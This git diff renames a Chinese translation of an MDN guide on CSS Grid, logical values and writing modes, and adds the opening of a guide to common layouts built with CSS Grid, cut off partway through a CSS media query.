diff --git a/files/zh-cn/web/css/css_grid_layout/css_grid,_logical_values_and_writing_modes/index.html b/files/zh-cn/web/css/css_grid_layout/css_grid,_logical_values_and_writing_modes/index.html deleted file mode 100644 index 936634c06c..0000000000 --- a/files/zh-cn/web/css/css_grid_layout/css_grid,_logical_values_and_writing_modes/index.html +++ /dev/null @@ -1,502 +0,0 @@ ---- -title: CSS 网格,逻辑值和书写模式 -slug: 'Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes' -tags: - - CSS - - CSS 指南 - - 指南 -translation_of: 'Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes' ---- -

在前面的文章中,我们已经接触了网格布局的一个重要特性:被纳入规范的对不同书写模式的支持。本文我们将探讨在网格和其他现代布局方式下的这个特性的表现,以及学习一些关于书写模式和逻辑属性与物理属性的知识。

- -

逻辑属性与物理属性及逻辑值与物理值

- -

CSS 中布满了物理位置的关键字 —— left 和 right,top 和 bottom。当使用绝对位置来定位项目时,就要使项目围绕上用物理关键字描述的偏移量。在下面的代码片断中,项目被定位到距容器顶部 20 像素,并且距容器左侧 30 像素:

- -
.container {
-  position: relative;
-}
-.item {
-  position: absolute;
-  top: 20px;
-  left: 30px;
-}
-
- -
<div class="container">
-  <div class="item">Item</div>
-</div>
-
- -

另一个用到物理关键字的地方是使用 text-align: right 把文本对齐到右侧,这也是 CSS 中的物理属性。当我们为项目增加外边距、内边距和边框时会使用像 {{cssxref("margin-left")}},{{cssxref("padding-left")}} 这样的物理属性。

- -

把这些关键字称为物理属性,是因为它们与你看到的屏幕紧密相关,左永远是左,不管文本流动的方向如何。

- -

在开发有多种语言的网站时,如果其中包含了从右侧而不是从左侧开始书写的文字,物理属性就会成为一个问题。浏览器很擅长处理文本方向,不需要真的在一种 {{glossary("rtl")}} (从右到左)的语言下开发,我们也可以一窥究竟。下面的例子里有两个段落,一个段落没有设置 {{cssxref("text-align")}} 属性,另一个段落的 text-align 设置为 left。在 html 元素上添加 dir="rtl" 声明,就会把书写模式从默认的 ltr (从左到右)的英语切换为 rtl (从右到左)的语言。我们可以看到,第一段仍然是从左到右显示,因为 text-align 的值为 left,但第二段把文字的流动方向切换成了从右到左。

- -

A simple example of text direction.

- -

这只是在使用物理属性和值时引起问题的一个非常简单的例子,它们阻止浏览器切换书写模式,因为这些物理属性和值已经假设文字的流动方向一定是从左到右、从上到下的。

- -

逻辑属性和值

- -

逻辑属性和值不会预设文字方向,这也是为什么在网格布局中要实现对齐到容器的开始位置时使用 start 关键字的原因。对我来说,因为我使用英语工作,所以 start 就是左侧,不过它并不总是代表左侧,并不能根据 start 这个词推断出物理位置。

- -

块和行内

- -

如果我们用逻辑属性而不是物理属性来思考,就不能使用从左到右、从上到下的方式观察世界,我们需要一个新的参考点,也就是在此前的文章中讨论对齐时接触过的块轴行内轴。理解它们是非常重要的,如果开始用块轴与行内轴的方式来看待布局,在网格布局中使用到的术语就变得非常有意义了。

- -

An image showing the default direction of the Block and Inline Axes.

- -

CSS 书写模式

- -

现在我要介绍另一个规范:CSS 书写模式规范,并在下面的例子中给出演示。这个规范详细描述了如何在 CSS 中使用多种不同的书写模式,不仅是支持与英语不同书写模式的语言,而且提供了更富创造性的用途。我将通过使用 {{cssxref("writing-mode")}} 属性来改变网格的书写模式,演示逻辑值是如何工作的。如果你想更深入地探讨书写模式,我推荐你阅读 Jen Simmons 的优秀文章:CSS Writing Modes,这篇文章对标准的讨论比本文要深入得多。

- -

writing-mode

- -

书写模式不仅可以使文字从左到右或从右到左显示,writing-mode 属性还可以设置其他的文字流动方向。{{cssxref("writing-mode")}} 属性有以下可选值:

- -
    -
  • horizontal-tb
  • -
  • vertical-rl
  • -
  • vertical-lr
  • -
  • sideways-rl
  • -
  • sideways-lr
  • -
- -

属性值 horizontal-tb 是 web 上显示文本的默认效果,也就是你现在正在阅读的这篇文章的方向,其他的属性值将会改变文字的流动方向,能匹配世界各地不同的书写模式,这些细节你都可以在 Jen 的文章中看到。下面用两个段落展示一个简单的例子,第一个段落使用默认的 horizontal-tb,第二个段落使用 vertical-rl,这种模式下文本仍然从左到右排列,不过文本的方向却是垂直的 —— 现在行内文本是从页面的顶部到底部向下流动的。

- -
- - -
<div class="wrapper">
-   <p style="writing-mode: horizontal-tb">I have writing mode set to the default <code>horizontal-tb</code></p>
-  <p style="writing-mode: vertical-rl">I have writing mode set to <code>vertical-rl</code></p>
-</div>
-
- -

{{ EmbedLiveSample('writing_1', '500', '420') }}

-
- -

网格布局中的书写模式

- -

现在让我们来做一个网格布局的实验,就可以看到书写模式是如何改变你对块轴和行内轴的看法的。

- -

下面例子是一个二行三列的网格,也就是说有三个沿着块轴方向的轨道。在默认的书写模式下,网格自动定位项目的流向,是从左上开始,向右延伸,填满行内轴方向的三个格子,然后转到下一行,创建一个新的行轨道,继续定位更多的项目:

- -
- - -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 100px);
-  grid-template-rows: repeat(2, 100px);
-  grid-gap: 10px;
-}
-
- -
<div class="wrapper">
-  <div class="item1">Item 1</div>
-  <div class="item2">Item 2</div>
-  <div class="item3">Item 3</div>
-  <div class="item4">Item 4</div>
-  <div class="item5">Item 5</div>
-</div>
-
- -

{{ EmbedLiveSample('writing_2', '500', '330') }}

-
- -

如果给网格容器加上 writing-mode: vertical-lr 属性,就可以看到块轴和行内轴都转到不同的方向了,块轴从左到右地穿过页面,行内轴则从上到下到流动。

- -
- - -
.wrapper {
-  writing-mode: vertical-lr;
-  display: grid;
-  grid-template-columns: repeat(3, 100px);
-  grid-template-rows: repeat(2, 100px);
-  grid-gap: 10px;
-}
-
- -
<div class="wrapper">
-  <div class="item1">Item 1</div>
-  <div class="item2">Item 2</div>
-  <div class="item3">Item 3</div>
-  <div class="item4">Item 4</div>
-  <div class="item5">Item 5</div>
-</div>
-
- -

{{ EmbedLiveSample('writing_3', '500', '330') }}

-
- -

A image showing the direction of Block and Inline when writing-mode is vertical-lr

- -

用于对齐的逻辑值

- -

因为块轴和行内轴可以改变方向,所以在对齐属性中使用的逻辑值就具有更丰富的含义。

- -

在下面的例子中,网格被设置了 writing-mode: vertical-lr 属性,我们将使用对齐属性来对齐项目。startend 属性值仍然像在默认的书写模式下那样保留着它们的逻辑,但却已经不是 left 和 right,top 和 bottom 所能够表示的了。只要我们把网格翻转到一边,就会发生这种情况:

- -
- - -
.wrapper {
-  writing-mode: vertical-lr;
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-  grid-template-rows: repeat(3, 100px);
-  grid-gap: 10px;
-}
-
-.item1 {
-    grid-column: 1 / 4;
-    align-self: start;
-}
-
-.item2 {
-    grid-column: 1 / 3;
-    grid-row: 2 / 4;
-    align-self: start;
-}
-
-.item3 {
-    grid-column: 3;
-    grid-row: 2 / 4;
-    align-self: end;
-    justify-self: end;
-}
-
- -
<div class="wrapper">
-  <div class="item1">Item 1</div>
-  <div class="item2">Item 2</div>
-  <div class="item3">Item 3</div>
-</div>
-
- -

{{ EmbedLiveSample('writing_4', '500', '330') }}

-
- -

如果你要看看在先上到下再从右到左的书写模式,把 vertical-lr 换成 vertical-rl,就能得到一个从右到左的垂直书写模式。

- -

自动定位和书写模式

- -

如上例所示,我们已经看到当书写模式改变了方向时网格是如何定位项目的,项目将被沿着行内轴排列直到下一行,只是行内轴不再总是沿着从左到右的方向罢了。

- -

基于网格线的定位和书写模式

- -

要切记,当用网格线序号来定位项目时,不管在哪种书写模式下,第 1 行永远代表开始的那条网格线,第 -1 行永远代表结束的那条网格线。

- -

在下面的例子中,网格的默认方向是 ltr(从左到右),用基于网格线定位方式定位了三个项目。

- -
    -
  • Item 1 从列的第 1 条线开始,跨越1个轨道。
  • -
  • Item 2 从列表的第 -1 条线开始,跨越到第 -3 条线。
  • -
  • Item 3 从列的第 1 条线开始,跨越到列的第 3 条线。
  • -
- -
- - -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-  grid-template-rows: repeat(2, 100px);
-  grid-gap: 10px;
-}
-.item1 {
-    grid-column: 1 ;
-}
-.item2 {
-    grid-column: -1 / -3;
-}
-.item3 {
-    grid-column: 1 / 3;
-    grid-row: 2;
-}
-
- -
<div class="wrapper">
-        <div class="item1">Item 1</div>
-        <div class="item2">Item 2</div>
-        <div class="item3">Item 3</div>
-    </div>
-
- -

{{ EmbedLiveSample('writing_5', '500', '330') }}

-
- -

如果现在为网格容器增加一个 {{cssxref("direction")}} 属性,属性值为 rtl,那么 第 1 条线就变到了网格的右侧,而第 -1 条线则变到左侧。

- -
- - -
.wrapper {
-  direction: rtl;
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-  grid-template-rows: repeat(2, 100px);
-  grid-gap: 10px;
-}
-.item1 {
-    grid-column: 1 ;
-}
-.item2 {
-    grid-column: -1 / -3;
-}
-.item3 {
-    grid-column: 1 / 3;
-    grid-row: 2;
-}
-
- -
<div class="wrapper">
-        <div class="item1">Item 1</div>
-        <div class="item2">Item 2</div>
-        <div class="item3">Item 3</div>
-    </div>
-
- -

{{ EmbedLiveSample('writing_6', '500', '330') }}

-
- -

这表明,如果要切换页面整体或部分的文本方向,并且正在使用网格线,那么如果不想让布局受到影响,应该命名网格线。有些情况下,比如网格包含文本内容,切换后的结果可能正是你想要的,但对于其他情况却不一定。

- -

grid-area 属性值的奇怪顺序

- -

可以把定义网格区域的四条线合并为一个值传给 {{cssxref("grid-area")}} 属性,在第一次使用这个属性时,人们经常会惊讶它的写法没有遵从 margin 的按顺时针的简写顺序:top,right,bottom,left。

- -

但是 grid-area 的简写顺序却是:

- -
    -
  • grid-row-start
  • -
  • grid-column-start
  • -
  • grid-row-end
  • -
  • grid-column-end
  • -
- -

对于英语书写模式来说,从左到右的顺序应该是:

- -
    -
  • top
  • -
  • left
  • -
  • bottom
  • -
  • right
  • -
- -

grid-area 的简写顺序是逆时针!与我们常用的 marginpadding 相反。你要意识到 grid-area 是从“块和行内”的角度看世界的,牢记应该先设置两条开始线,再设置两条结束线。这样的顺序才更符合逻辑!

- -

书写模式与网格布局的结合

- -

书写模式除了为特定语言处理提供便利,另外对于文档的显示效果,也可以提供 ltr (从左到右)模式之外的创新性。在下面的例子中,想在网格布局的一侧展示若干链接,就可以通过变更书写模式把这些链接按列轨道方向排列:

- -
-
.wrapper {
-    display: grid;
-    grid-gap: 20px;
-    grid-template-columns: 1fr auto;
-    font: 1em Helvetica, Arial, sans-serif;
-}
-.wrapper nav {
-    writing-mode: vertical-lr;
-}
-.wrapper ul {
-    list-style: none;
-    margin: 0;
-    padding: 1em;
-    display: flex;
-    justify-content: space-between;
-}
-.wrapper a {
-    text-decoration: none;
-}
-
- -
<div class="wrapper">
-        <div class="content">
-            <p>Turnip greens yarrow ricebean rutabaga endive cauliflower sea lettuce kohlrabi amaranth water spinach avocado daikon napa cabbage asparagus winter purslane kale. Celery potato scallion desert raisin horseradish spinach carrot soko. Lotus root water spinach fennel kombu maize bamboo shoot green bean swiss chard seakale pumpkin onion chickpea gram corn pea. Brussels sprout coriander water chestnut gourd swiss chard wakame kohlrabi beetroot carrot watercress. Corn amaranth salsify bunya nuts nori azuki bean chickweed potato bell pepper artichoke.</p>
-
-<p>Nori grape silver beet broccoli kombu beet greens fava bean potato quandong celery. Bunya nuts black-eyed pea prairie turnip leek lentil turnip greens parsnip. Sea lettuce lettuce water chestnut eggplant winter purslane fennel azuki bean earthnut pea sierra leone bologi leek soko chicory celtuce parsley jícama salsify.</p>
-        </div>
-        <nav>
-            <ul>
-                <li><a href="">Link 1</a></li>
-                <li><a href="">Link 2</a></li>
-                <li><a href="">Link 3</a></li>
-            </ul>
-        </nav>
-    </div>
-
- -

{{ EmbedLiveSample('writing_7', '500', '330') }}

-
- -

物理值和网格布局

- -

在构建网站时经常会遇到物理属性,尽管网格定位和对齐属性及它们的值都遵从书写模式,还是有很多时候即使在网格中也不得不使用物理属性和值。在 网格布局中的盒模型对齐 一文中,演示了在网格区域中如何利用自动边距,而自动边距也是 flexbox 布局的一种技巧,尽管这样又把布局和物理空间纠结到了一起。

- -

如果在网格区域中使用绝对定位,那么你就会使用物理偏移量调整网格区域中的项目的位置。关键是要掌握使用物理属性与逻辑属性的力度,举例来说,要衡量把 ltr 切换到 rtl 时你需要对 CSS 做多少修改。

- -

逻辑属性无处不在!

- -

新的布局方法赋予使用逻辑值定位项目的能力,不过如果和使用物理属性的 marginpadding 属性混用,切记这些物理属性并不会依据书写模式来改变它们的显示效果。

- -

CSS 逻辑属性规范 的目标是改变现状,在未来的 CSS 中,{{cssxref("margin-left")}} 和 {{cssxref("margin-right")}} 将与逻辑属性相同。Firefox 已经实现了,所以你现在就可以在 Firefox 中试上一试。未来如果得到全面支持,那么通过网格学习到的“块和行内”的知识,你也能马上举一反三地用在其他地方了。

- - diff --git a/files/zh-cn/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html b/files/zh-cn/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html new file mode 100644 index 0000000000..936634c06c --- /dev/null +++ b/files/zh-cn/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html @@ -0,0 +1,502 @@ +--- +title: CSS 网格,逻辑值和书写模式 +slug: 'Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes' +tags: + - CSS + - CSS 指南 + - 指南 +translation_of: 'Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes' +--- +

在前面的文章中,我们已经接触了网格布局的一个重要特性:被纳入规范的对不同书写模式的支持。本文我们将探讨在网格和其他现代布局方式下的这个特性的表现,以及学习一些关于书写模式和逻辑属性与物理属性的知识。

+ +

逻辑属性与物理属性及逻辑值与物理值

+ +

CSS 中布满了物理位置的关键字 —— left 和 right,top 和 bottom。当使用绝对位置来定位项目时,就要使项目围绕上用物理关键字描述的偏移量。在下面的代码片断中,项目被定位到距容器顶部 20 像素,并且距容器左侧 30 像素:

+ +
.container {
+  position: relative;
+}
+.item {
+  position: absolute;
+  top: 20px;
+  left: 30px;
+}
+
+ +
<div class="container">
+  <div class="item">Item</div>
+</div>
+
+ +

另一个用到物理关键字的地方是使用 text-align: right 把文本对齐到右侧,这也是 CSS 中的物理属性。当我们为项目增加外边距、内边距和边框时会使用像 {{cssxref("margin-left")}},{{cssxref("padding-left")}} 这样的物理属性。

+ +

把这些关键字称为物理属性,是因为它们与你看到的屏幕紧密相关,左永远是左,不管文本流动的方向如何。

+ +

在开发有多种语言的网站时,如果其中包含了从右侧而不是从左侧开始书写的文字,物理属性就会成为一个问题。浏览器很擅长处理文本方向,不需要真的在一种 {{glossary("rtl")}} (从右到左)的语言下开发,我们也可以一窥究竟。下面的例子里有两个段落,一个段落没有设置 {{cssxref("text-align")}} 属性,另一个段落的 text-align 设置为 left。在 html 元素上添加 dir="rtl" 声明,就会把书写模式从默认的 ltr (从左到右)的英语切换为 rtl (从右到左)的语言。我们可以看到,第一段仍然是从左到右显示,因为 text-align 的值为 left,但第二段把文字的流动方向切换成了从右到左。

+ +

A simple example of text direction.

+ +

这只是在使用物理属性和值时引起问题的一个非常简单的例子,它们阻止浏览器切换书写模式,因为这些物理属性和值已经假设文字的流动方向一定是从左到右、从上到下的。

+ +

逻辑属性和值

+ +

逻辑属性和值不会预设文字方向,这也是为什么在网格布局中要实现对齐到容器的开始位置时使用 start 关键字的原因。对我来说,因为我使用英语工作,所以 start 就是左侧,不过它并不总是代表左侧,并不能根据 start 这个词推断出物理位置。

+ +

块和行内

+ +

如果我们用逻辑属性而不是物理属性来思考,就不能使用从左到右、从上到下的方式观察世界,我们需要一个新的参考点,也就是在此前的文章中讨论对齐时接触过的块轴行内轴。理解它们是非常重要的,如果开始用块轴与行内轴的方式来看待布局,在网格布局中使用到的术语就变得非常有意义了。

+ +

An image showing the default direction of the Block and Inline Axes.

+ +

CSS 书写模式

+ +

现在我要介绍另一个规范:CSS 书写模式规范,并在下面的例子中给出演示。这个规范详细描述了如何在 CSS 中使用多种不同的书写模式,不仅是支持与英语不同书写模式的语言,而且提供了更富创造性的用途。我将通过使用 {{cssxref("writing-mode")}} 属性来改变网格的书写模式,演示逻辑值是如何工作的。如果你想更深入地探讨书写模式,我推荐你阅读 Jen Simmons 的优秀文章:CSS Writing Modes,这篇文章对标准的讨论比本文要深入得多。

+ +

writing-mode

+ +

书写模式不仅可以使文字从左到右或从右到左显示,writing-mode 属性还可以设置其他的文字流动方向。{{cssxref("writing-mode")}} 属性有以下可选值:

+ +
    +
  • horizontal-tb
  • +
  • vertical-rl
  • +
  • vertical-lr
  • +
  • sideways-rl
  • +
  • sideways-lr
  • +
+ +

属性值 horizontal-tb 是 web 上显示文本的默认效果,也就是你现在正在阅读的这篇文章的方向,其他的属性值将会改变文字的流动方向,能匹配世界各地不同的书写模式,这些细节你都可以在 Jen 的文章中看到。下面用两个段落展示一个简单的例子,第一个段落使用默认的 horizontal-tb,第二个段落使用 vertical-rl,这种模式下文本仍然从左到右排列,不过文本的方向却是垂直的 —— 现在行内文本是从页面的顶部到底部向下流动的。

+ +
+ + +
<div class="wrapper">
+   <p style="writing-mode: horizontal-tb">I have writing mode set to the default <code>horizontal-tb</code></p>
+  <p style="writing-mode: vertical-rl">I have writing mode set to <code>vertical-rl</code></p>
+</div>
+
+ +

{{ EmbedLiveSample('writing_1', '500', '420') }}

+
+ +

网格布局中的书写模式

+ +

现在让我们来做一个网格布局的实验,就可以看到书写模式是如何改变你对块轴和行内轴的看法的。

+ +

下面例子是一个二行三列的网格,也就是说有三个沿着块轴方向的轨道。在默认的书写模式下,网格自动定位项目的流向,是从左上开始,向右延伸,填满行内轴方向的三个格子,然后转到下一行,创建一个新的行轨道,继续定位更多的项目:

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(2, 100px);
+  grid-gap: 10px;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">Item 1</div>
+  <div class="item2">Item 2</div>
+  <div class="item3">Item 3</div>
+  <div class="item4">Item 4</div>
+  <div class="item5">Item 5</div>
+</div>
+
+ +

{{ EmbedLiveSample('writing_2', '500', '330') }}

+
+ +

如果给网格容器加上 writing-mode: vertical-lr 属性,就可以看到块轴和行内轴都转到不同的方向了,块轴从左到右地穿过页面,行内轴则从上到下到流动。

+ +
+ + +
.wrapper {
+  writing-mode: vertical-lr;
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(2, 100px);
+  grid-gap: 10px;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">Item 1</div>
+  <div class="item2">Item 2</div>
+  <div class="item3">Item 3</div>
+  <div class="item4">Item 4</div>
+  <div class="item5">Item 5</div>
+</div>
+
+ +

{{ EmbedLiveSample('writing_3', '500', '330') }}

+
+ +

A image showing the direction of Block and Inline when writing-mode is vertical-lr

+ +

用于对齐的逻辑值

+ +

因为块轴和行内轴可以改变方向,所以在对齐属性中使用的逻辑值就具有更丰富的含义。

+ +

在下面的例子中,网格被设置了 writing-mode: vertical-lr 属性,我们将使用对齐属性来对齐项目。startend 属性值仍然像在默认的书写模式下那样保留着它们的逻辑,但却已经不是 left 和 right,top 和 bottom 所能够表示的了。只要我们把网格翻转到一边,就会发生这种情况:

+ +
+ + +
.wrapper {
+  writing-mode: vertical-lr;
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: repeat(3, 100px);
+  grid-gap: 10px;
+}
+
+.item1 {
+    grid-column: 1 / 4;
+    align-self: start;
+}
+
+.item2 {
+    grid-column: 1 / 3;
+    grid-row: 2 / 4;
+    align-self: start;
+}
+
+.item3 {
+    grid-column: 3;
+    grid-row: 2 / 4;
+    align-self: end;
+    justify-self: end;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">Item 1</div>
+  <div class="item2">Item 2</div>
+  <div class="item3">Item 3</div>
+</div>
+
+ +

{{ EmbedLiveSample('writing_4', '500', '330') }}

+
+ +

如果你要看看在先上到下再从右到左的书写模式,把 vertical-lr 换成 vertical-rl,就能得到一个从右到左的垂直书写模式。

+ +

自动定位和书写模式

+ +

如上例所示,我们已经看到当书写模式改变了方向时网格是如何定位项目的,项目将被沿着行内轴排列直到下一行,只是行内轴不再总是沿着从左到右的方向罢了。

+ +

基于网格线的定位和书写模式

+ +

要切记,当用网格线序号来定位项目时,不管在哪种书写模式下,第 1 行永远代表开始的那条网格线,第 -1 行永远代表结束的那条网格线。

+ +

在下面的例子中,网格的默认方向是 ltr(从左到右),用基于网格线定位方式定位了三个项目。

+ +
    +
  • Item 1 从列的第 1 条线开始,跨越1个轨道。
  • +
  • Item 2 从列表的第 -1 条线开始,跨越到第 -3 条线。
  • +
  • Item 3 从列的第 1 条线开始,跨越到列的第 3 条线。
  • +
+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: repeat(2, 100px);
+  grid-gap: 10px;
+}
+.item1 {
+    grid-column: 1 ;
+}
+.item2 {
+    grid-column: -1 / -3;
+}
+.item3 {
+    grid-column: 1 / 3;
+    grid-row: 2;
+}
+
+ +
<div class="wrapper">
+        <div class="item1">Item 1</div>
+        <div class="item2">Item 2</div>
+        <div class="item3">Item 3</div>
+    </div>
+
+ +

{{ EmbedLiveSample('writing_5', '500', '330') }}

+
+ +

如果现在为网格容器增加一个 {{cssxref("direction")}} 属性,属性值为 rtl,那么 第 1 条线就变到了网格的右侧,而第 -1 条线则变到左侧。

+ +
+ + +
.wrapper {
+  direction: rtl;
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: repeat(2, 100px);
+  grid-gap: 10px;
+}
+.item1 {
+    grid-column: 1 ;
+}
+.item2 {
+    grid-column: -1 / -3;
+}
+.item3 {
+    grid-column: 1 / 3;
+    grid-row: 2;
+}
+
+ +
<div class="wrapper">
+        <div class="item1">Item 1</div>
+        <div class="item2">Item 2</div>
+        <div class="item3">Item 3</div>
+    </div>
+
+ +

{{ EmbedLiveSample('writing_6', '500', '330') }}

+
+ +

这表明,如果要切换页面整体或部分的文本方向,并且正在使用网格线,那么如果不想让布局受到影响,应该命名网格线。有些情况下,比如网格包含文本内容,切换后的结果可能正是你想要的,但对于其他情况却不一定。

+ +

grid-area 属性值的奇怪顺序

+ +

可以把定义网格区域的四条线合并为一个值传给 {{cssxref("grid-area")}} 属性,在第一次使用这个属性时,人们经常会惊讶它的写法没有遵从 margin 的按顺时针的简写顺序:top,right,bottom,left。

+ +

但是 grid-area 的简写顺序却是:

+ +
    +
  • grid-row-start
  • +
  • grid-column-start
  • +
  • grid-row-end
  • +
  • grid-column-end
  • +
+ +

对于英语书写模式来说,从左到右的顺序应该是:

+ +
    +
  • top
  • +
  • left
  • +
  • bottom
  • +
  • right
  • +
+ +

grid-area 的简写顺序是逆时针!与我们常用的 marginpadding 相反。你要意识到 grid-area 是从“块和行内”的角度看世界的,牢记应该先设置两条开始线,再设置两条结束线。这样的顺序才更符合逻辑!

+ +

书写模式与网格布局的结合

+ +

书写模式除了为特定语言处理提供便利,另外对于文档的显示效果,也可以提供 ltr (从左到右)模式之外的创新性。在下面的例子中,想在网格布局的一侧展示若干链接,就可以通过变更书写模式把这些链接按列轨道方向排列:

+ +
+
.wrapper {
+    display: grid;
+    grid-gap: 20px;
+    grid-template-columns: 1fr auto;
+    font: 1em Helvetica, Arial, sans-serif;
+}
+.wrapper nav {
+    writing-mode: vertical-lr;
+}
+.wrapper ul {
+    list-style: none;
+    margin: 0;
+    padding: 1em;
+    display: flex;
+    justify-content: space-between;
+}
+.wrapper a {
+    text-decoration: none;
+}
+
+ +
<div class="wrapper">
+        <div class="content">
+            <p>Turnip greens yarrow ricebean rutabaga endive cauliflower sea lettuce kohlrabi amaranth water spinach avocado daikon napa cabbage asparagus winter purslane kale. Celery potato scallion desert raisin horseradish spinach carrot soko. Lotus root water spinach fennel kombu maize bamboo shoot green bean swiss chard seakale pumpkin onion chickpea gram corn pea. Brussels sprout coriander water chestnut gourd swiss chard wakame kohlrabi beetroot carrot watercress. Corn amaranth salsify bunya nuts nori azuki bean chickweed potato bell pepper artichoke.</p>
+
+<p>Nori grape silver beet broccoli kombu beet greens fava bean potato quandong celery. Bunya nuts black-eyed pea prairie turnip leek lentil turnip greens parsnip. Sea lettuce lettuce water chestnut eggplant winter purslane fennel azuki bean earthnut pea sierra leone bologi leek soko chicory celtuce parsley jícama salsify.</p>
+        </div>
+        <nav>
+            <ul>
+                <li><a href="">Link 1</a></li>
+                <li><a href="">Link 2</a></li>
+                <li><a href="">Link 3</a></li>
+            </ul>
+        </nav>
+    </div>
+
+ +

{{ EmbedLiveSample('writing_7', '500', '330') }}

+
+ +

物理值和网格布局

+ +

在构建网站时经常会遇到物理属性,尽管网格定位和对齐属性及它们的值都遵从书写模式,还是有很多时候即使在网格中也不得不使用物理属性和值。在 网格布局中的盒模型对齐 一文中,演示了在网格区域中如何利用自动边距,而自动边距也是 flexbox 布局的一种技巧,尽管这样又把布局和物理空间纠结到了一起。

+ +

如果在网格区域中使用绝对定位,那么你就会使用物理偏移量调整网格区域中的项目的位置。关键是要掌握使用物理属性与逻辑属性的力度,举例来说,要衡量把 ltr 切换到 rtl 时你需要对 CSS 做多少修改。

+ +

逻辑属性无处不在!

+ +

新的布局方法赋予使用逻辑值定位项目的能力,不过如果和使用物理属性的 marginpadding 属性混用,切记这些物理属性并不会依据书写模式来改变它们的显示效果。

+ +

CSS 逻辑属性规范 的目标是改变现状,在未来的 CSS 中,{{cssxref("margin-left")}} 和 {{cssxref("margin-right")}} 将与逻辑属性相同。Firefox 已经实现了,所以你现在就可以在 Firefox 中试上一试。未来如果得到全面支持,那么通过网格学习到的“块和行内”的知识,你也能马上举一反三地用在其他地方了。

+ + diff --git a/files/zh-cn/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html b/files/zh-cn/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html new file mode 100644 index 0000000000..1f19e6933b --- /dev/null +++ b/files/zh-cn/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html @@ -0,0 +1,593 @@ +--- +title: 利用CSS网格布局实现常用布局 +slug: Web/CSS/CSS_Grid_Layout/利用CSS网格布局实现常用布局 +translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout +--- +

为了完善这组CSS网格布局指南,我将介绍几种不同的布局,它们演示了在使用网格布局进行设计时可以使用的一些不同技术。我们将看到一个使用 grid-template-areas 的示例,一个典型的12列灵活网格系统,以及一个使用自动布局的产品列表。正如您从这组示例中看到的,使用网格布局通常有不止一种方法来实现您想要的结果。选择对您正在解决的问题和需要实现的设计最有帮助的方法。

+ +

使用网格模板区域的响应式布局,包含1到3个流动列

+ +

许多网站都是这种布局的变体,有内容、边栏、页眉和页脚。在响应式设计中,您可能希望将布局显示为单个列,在某个断点添加侧栏,然后为更宽的屏幕引入三列布局。

+ +

Image of the three different layouts created by redefining our grid at two breakpoints.

+ +

我将使用我们在向导网格模板区域中了解到的命名模板区域来创建这个布局。

+ +

我的标记是一个容器,其中包含用于标题、页脚、主要内容、导航、边栏和打算放置广告的块的元素。

+ +
+ + +
<div class="wrapper">
+        <header class="main-head">The header</header>
+        <nav class="main-nav">
+            <ul>
+                <li><a href="">Nav 1</a></li>
+                <li><a href="">Nav 2</a></li>
+                <li><a href="">Nav 3</a></li>
+            </ul>
+        </nav>
+        <article class="content">
+            <h1>Main article area</h1>
+            <p>In this layout, we display the areas in source order for any screen less that 500 pixels wide. We go to a two column layout, and then to a three column layout by redefining the grid, and the placement of items on the grid.</p>
+        </article>
+        <aside class="side">Sidebar</aside>
+        <div class="ad">Advertising</div>
+        <footer class="main-footer">The footer</footer>
+</div>
+
+ +

因为我们使用{{cssxref("grid-template-areas")}}来创建布局。在任何媒体查询之外,我需要命名区域。我们使用{{cssxref("grid-area")}} 属性命名区域。

+ +
.main-head {
+  grid-area: header;
+}
+.content {
+  grid-area: content;
+}
+.main-nav {
+  grid-area: nav;
+}
+.side {
+  grid-area: sidebar;
+}
+.ad {
+  grid-area: ad;
+}
+.main-footer {
+  grid-area: footer;
+}
+
+ +

这不会创建任何布局,但是我们的项目现在有了名称,我们可以使用它来创建布局。在任何媒体查询之外,我现在要为移动宽度设置布局。在这里,我保持源文件的顺序,试图避免源文件和显示之间的任何断开,就像向导网格布局和可访问性中描述的那样。我没有定义任何列或行跟踪,但是这种布局规定了单个列,并且将根据需要为隐式网格中的每个项目创建行。

+ +
.wrapper {
+  display: grid;
+  grid-gap: 20px;
+  grid-template-areas:
+    "header"
+    "nav"
+    "content"
+    "sidebar"
+    "ad"
+    "footer";
+}
+
+ +

在设置了移动布局之后,我们将获得所有屏幕大小的这一列,现在我们可以添加一个媒体查询并重新定义布局,以满足屏幕空间足够显示两列的情况。

+ +
@media (min-width: 500px) {
+  .wrapper {
+    grid-template-columns: 1fr 3fr;
+    grid-template-areas:
+      "header  header"
+      "nav     nav"
+      "sidebar content"
+      "ad      footer";
+  }
+  nav ul {
+    display: flex;
+    justify-content: space-between;
+  }
+}
+
+ +

您可以看到布局在{{cssxref("grid-template-areas")}}的值中成形。 header 跨越两个列轨道,就像 nav 一样。在第三行轨道中,我们在 content 旁边有 sidebar 。在第四行轨道,我选择了放置我的广告内容-所以它出现在侧边栏下,然后 footer 旁边的内容。我在导航栏上使用了一个flexbox来显示它。

+ +

现在我可以添加最后一个断点来移动到三列布局。

+ +
@media (min-width: 700px) {
+  .wrapper {
+    grid-template-columns: 1fr 4fr 1fr;
+    grid-template-areas:
+      "header header  header"
+      "nav    content sidebar"
